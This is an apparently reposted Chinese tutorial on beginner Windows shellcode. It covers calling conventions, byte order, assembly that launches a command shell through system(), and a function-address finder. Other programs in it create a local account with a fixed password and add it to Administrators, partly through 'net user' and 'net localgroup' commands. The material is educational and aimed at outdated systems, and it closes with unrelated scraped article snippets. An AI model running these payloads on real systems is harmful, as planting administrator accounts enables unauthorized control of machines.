二、Windows 下 ShellCode 编写初步

第二章、Windows 下 ShellCode 编写初步

(一)shellcode

定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在

NOTES:计算机每次都只是执行当前 EIP 指向的指令(单 CPU)。在当前指令执行后,EIP 会自动加 1,从而指向下一条指令。如果有 JMP CALL RET 一类的指令,EIP 就会被强行改变成指定的地址,从而完成流程的跳转

(二)打开控制台窗口的 C 程序

升级版:

程序解释:

(1)typedef void (*MYPROC)(LPTSTR)

定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向 system 函数,在后面调用它,就相当于调用 system 函数

(2)LibHandle = LoadLibrary(“msvcrt.dll”)

加载 msvcrt.dll 这个动态链接库,动态链接库的句柄赋给 LibHandle

(3)ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");

获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle, system)”获得 system 的真实地址。之后再使用这个真实地址来调用 system 函数。执行该语句后,ProcAdd 为指向 system 函数的指针(而不是地址(*)),即ProcAdd 存的是 system 函数的地址

(4)(ProcAdd) ("command.com");

因为此时的 ProcAdd 为指向 system 函数的指针,所以“(ProcAdd) ("command.com")”就是调用“system("command.com")”,完成我们想要的功能

(三)查看函数的地址

看 system 函数的地址:在 VC 下按 F10 进入调试状态,然后在 Debug 工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口

按 F10,程序就会单步执行

EAX的值即为msvcrt.dll 的地址(‘LibHandle = LoadLibrary("msvcrt.dll")’那句下的call dword ptr [[email protected](0042413c)]就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是 msvcrt.dll 的地址;而函数的返回值,通常都是放在 EAX 中)

(四)Windows 下的函数调用原理

  1. windows 下,函数的调用需要先把函数所在的动态链接库 Load 进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接 CALL 该函数的地址.

    2.NOTES:Linux 下,函数的执行是使用系统中断调用。系统把函数的系统调用码给 EAX(如 execve 是 0xb),函数带的参数给其他寄存器,最后执行 int$0x80 中断指令,完成函数的执行

    3.例:在 Windows 下执行函数 Func(argv1, argv2, argv3) ,先把参数从右至左压入堆栈,这里就是依次把 argv3、argv2、argv1 压入堆栈里,然后 Call Func 函数的地址,这里的 Call Func

    函数地址,其实等于两步,一是保存当前 EIP,二是跳到 Func 函数的地址执行,即 Push EIP + Jmp Func

(五)汇编和机器码——真正 ShellCode 的生成

1.写system(“command.exe”) 的汇编代码

不知道 command.exe 字符串的地址,故而自己构造,把‘command.exe’一个字符一个字符的压入堆栈

ESP 正好是 command.exe 字符串的地址,然后PUSH ESP

NOTE:1.计算机入栈是压四个字节,那我们就每次 PUSH 四个字节;或者我们就一个字节一个字

节地把值赋入堆栈,不用 PUSH,而直接用赋值,如下:

mov esp,ebp ;

mov ebp,esp ; 把当前 esp 赋给 ebp作为栈底

xor edi,edi ;

push edi ;压入 0,esp-4,; 作用是构造字符串的结尾\0 字符。

sub esp,08h ;加上上面,一共有 12 个字节,;用来放"command.com"。

mov byte ptr [ebp-0ch],63h ; c

mov byte ptr [ebp-0bh],6fh ; o

mov byte ptr [ebp-0ah],6dh ; m

mov byte ptr [ebp-09h],6Dh ; m

mov byte ptr [ebp-08h],61h ; a

mov byte ptr [ebp-07h],6eh ; n

mov byte ptr [ebp-06h],64h ; d

mov byte ptr [ebp-05h],2Eh ; .

mov byte ptr [ebp-04h],63h ; c

mov byte ptr [ebp-03h],6fh ; o

mov byte ptr [ebp-02h],6dh ; m 一个一个生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ; command.com 串地址作为参数入栈

mov eax, 0x7801AFC3 ;

call eax ; call system 函数的地址

(1)‘push edi’和‘sub esp,08h’是把 esp 减去 12 字节,这 12 个字节空间就用来放(2)command.com’;(2)‘mov byte ptr [ebp-0ch],63h’等,是我们把 command.com 一个字节一个字节的放进留出的空间中;

(3)‘lea eax,[ebp-0ch]’来获得构造的 command.com 字符串的地址;

(4)‘push eax’把地址压入堆栈,call system 函数的地址就完成了

(六)ShellCode 通用性的初步分析

由于系统版本不一,造成 LoadLibrary 和 system 函数的地址不同

NOTES:自动查找函数地址的程序 GetAddr.cpp:

include <windows.h>

include <stdio.h>

typedef void (*MYPROC)(LPTSTR);

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

LibHandle = LoadLibrary("msvcrt");

printf("msvcrt LibHandle = //x%x\n", LibHandle);

ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");

printf("system = //x%x\n", ProcAdd);

return 0;

}

NOTES:

kernel32.dll中的LoadLibrary 函 数

user32.dll 中的 MessageBox 函数

1.弹出 Windows 对话框 ShellCode 的编写

include "windows.h"

int main(int argc, char* argv[])

{

LoadLibrary("user32.dll");

MessageBox(0, "ww0830","ww", 1);

return 0;

}

2.添加用户 ShellCode 的编写

1.(1)添加用户:net user name /add

(2)帐户添加到管理员: DOS 命令行下执行 net localgroup administrators name /add

include <windows.h>

int main()

{

LoadLibrary("msvcrt.dll");

system("net user c /add");

system("net localgroup administrators c /add");

return 0;

}

2.添加用户的另一种方法

用的是 Netapi32.dll 里的 NetUserAdd 和 NetLocalGroupAddMembers 函数

NOTES:

(1)ASCII 编码是用一个字节来表示字符,这样只有 256 种组合

Unicode 是用两个字节(16 位)来表示字符,这样共有 65536 种组合

ifndef UNICODE

define UNICODE

endif

include <stdio.h>

include <windows.h>

include <lm.h>

pragma comment(lib,"netapi32")

int wmain()

{

USER_INFO_1 ui;

DWORD dwError = 0;

ui.usri1_name = L"ww0830";

ui.usri1_password = L"ww0830";

ui.usri1_priv = USER_PRIV_USER;

ui.usri1_home_dir = NULL;

ui.usri1_comment = NULL;

ui.usri1_flags = UF_SCRIPT;

ui.usri1_script_path = NULL;

//添加名为 ww0830 的用户,密码也为 ww0830

if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)

{

//添加成功

printf("Add user success.\n");

}

else

{

//添加失败

printf("Add user Error!\n");

return 1;

}

wchar_t szAccountName[100]={0};

wcscpy(szAccountName,L"ww0830");

LOCALGROUP_MEMBERS_INFO_3 account;

account.lgrmi3_domainandname=szAccountName;

//把 ww0830 添加到 Administrators 组

if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==

NERR_Success )

{

//添加成功

printf("Add to Administrators success.\n");

return 0;

}

else

{

//添加失败

printf("Add to Administrators Fail!\n");

return 1;

}

}

NOTES:

1.查找到 LoadLibraryA 函数的地址是 0x77E6A254,system 函数的地址是 0x78019B4A,都是正确的,但为什么我把 ShellCode 对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出 DOS 窗口呢?

注意别把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”

2.在 Windows 系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478 来说,0x77 是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把 0x77 放在字符串中数的最后。

3.LoadLibraryA 和 system 函数的地址在 Win2000 SP0 下,分别是 0x77E78023 和 0x7801AAAD;在SP2 下分别是 0x77E6A254 和 0x78019B4A;在 SP3 下分别是 0x77E69F64 和 0x7801AFC3;在 XP SP0 下分别是 0x77E605D8 和 0x77BF8044

  1. 为何LoadLibrary 函数在系统里面有 LoadLibraryA 和 LoadLibraryW 两种实现?而system只有一个呢?

    在 Windows 下,存在几种编程接口。

(1) Windows API 函数。这类函数是和 Windows 系统相关的,使用的也是 Windows 下才特有的数据类型(比如 CHAR)。API 函数就存在 A 和 W 这两种实现,而 LoadLibrary 是 API 函数。

(2)C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system

函数( C 语言标准中,规定函数名称都是小写)

5.Windows 应用程序的标识符通常用“大小写”混排的方式,如AddChild; Windows 下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀“m_”

Unix应用程序的标识符用“小写加下划线”的方式,如add_child

  1. ShellCode 里面不能有 0x00,因为 0x00 是字符串的结束符

原文地址:https://www.cnblogs.com/bala0toh/p/9457995.html

时间: 2024-10-31 04:23:30

二、Windows 下 ShellCode 编写初步的相关文章

PHP之RABBITMQ安装篇(二)-WINDOWS下安装

PHP之RABBITMQ安装篇(二)-WINDOWS下安装 AMQP扩展安装 在PHP上安装RabbitMQ之前,先安装PHP的扩展amqp,在安装amqp之前,先查看自己的PHP版本 首先根据PHP的版本选择amqp的版本,再次要下载稳定版本的amqp.我的PHP是5.6.25的,所以选择1.4.0版本的amqp.下载地址:https://pecl.php.net/package/amqp 然后根据PHP的版本,线程安全是否激活,多少位的,来选择下载哪个版本:我的PHP是5.6版本的,线程安全

[百度空间] [原]跨平台编程注意事项(二): windows下 x86到x64的移植

之前转的: 将程序移植到64位Windows 还有自己乱写的一篇: 跨平台编程注意事项(一) 之前对于x64平台的移植都是纸上谈兵,算是前期准备工作, 但起码在写代码时,已经非常注意了.所以现在移植起来相对很顺利.昨天用了一天时间把自己代码添加了x64支持.贴一下遇到的问题,就作为注意事项吧,以下文字来自我的cnblogs博客的另一文章,有修改 1.指针到数值的转换.  指针 (如void*)转到数值,要用intptr_t或者uintptr_t (用Win32的INT_PTR也可以,当然用C/C

QT开发(二) windows下简单部署

如果使用vs编译器 需要c runtime 例如(msvc110 )这种 还需要若干qt的dll 基本在qt的bin目录 如果使用了QWindow这种对象还需要引用qt目录 plugins下 的内容 和qml文件夹的内容,plugins包括了一些扩展功能 qml提供了基础控件的qml(对应在qml文件中import的内容 ) 可以利用的工具 depends,procexp 最后一个部署的环境截图

windows下尝试编写node模块

1,首先参考http://www.cnblogs.com/yupeng/p/3469444.html写了一个模块 2,按照指引运行 F:\Program Files\nodejs\mymodule>node-gyp configure build 奶奶的,一开始就少了一个node-gyp,上网一艘,原来这也是一个模块 'node-gyp' 不是内部或外部命令,也不是可运行的程序或批处理文件. F:\Program Files\nodejs\mymodule>npm install -g nod

Egret学习(二)--windows下环境搭建

准备材料 安装Node.js TypeScript编辑器 HTTP服务器(可选) Chorme(可选) Egret 安装Node.js 打开www.nodejs.org 下载安装(全部next,全默认) node -v验证安装以及版本 测试npm命令(如果不行就进去提示的目录创建npm文件夹,  appdata是隐藏文件夹) 安装编辑器 推荐使用WebStorm 打开www.jetbrains.com/webstorm/ Download WebStorm 安装 安装HTTP服务器 推荐使用XA

如何实现在Windows下编写的代码,直接在Linux下编译

方法一: 如何实现在Windows7下编写Linux程序,写完程序以后,不用拷贝文件,直接在Linux(RHEL6.5)机器上编译最新的代码. 1.首先将Windows的代码文件夹设置为共享文件夹: 2.在RHEL6.5上,利用mount命令把Win7下的文件夹给mount到本地的一个文件夹 其中192.168.59.1是Win7的OS,VMTool是本地的一个文件夹. 3. 在~/.bash_profile中添加如下行,这样每次启动的时候,就会自动mount这个文件夹. mount  //19

windows下注册表脚本编写

Reg文件就是我今天所说的注册表脚本文件,双击可将其中的数据写入注册表.利用注册表脚本文件可以对注册表进行关于键值的任何操作,而且还不受注册表被禁用的限制.     我们平常对注册表的修改大体上可以分为两种:     1.对注册表子键的修改;     2.对子键下的键值的修改;     下面依次对这两种修改做个简略的介绍.    一,对子键的修改(1)添加子键     操作:只需在主体文件部分加入"[ ]"即可     例如:在HKEY_CURRENT_USER/Software下添加

windows下mongodb基础玩法系列二CURD操作(创建、更新、读取和删除)

windows下mongodb基础玩法系列 windows下mongodb基础玩法系列一介绍与安装 windows下mongodb基础玩法系列二CURD操作(创建.更新.读取和删除) 简单说几句 在mongodb中3元素:db(数据库).collection(集合).document(文档) 其中collection类似于数据库中的表,document类似于行,这样一来我们就将内容对比起来记忆学习了. 数据格式 MongoDB documents是BSON格式(一种类json的一种二进制形式的存

windows下《七天学会NodeJS》学习笔记之二--代码的组织和部署

本系列第一篇:<windows下<七天学会NodeJS>学习笔记之一--NodeJS基础>,请参见这儿:http://blog.csdn.net/fm2005/article/details/41348813 模块路径解析规则:nodejs支持三种解析方式:/或C:开头的绝对路径:./开头的绝对路径:按照一定规则解析路径,直到找到模块位置. 内置模块:如果传递给require的是NodeJS内置模块名称,则不解析,直接返回内部模块导出对象. node_modules目录:node_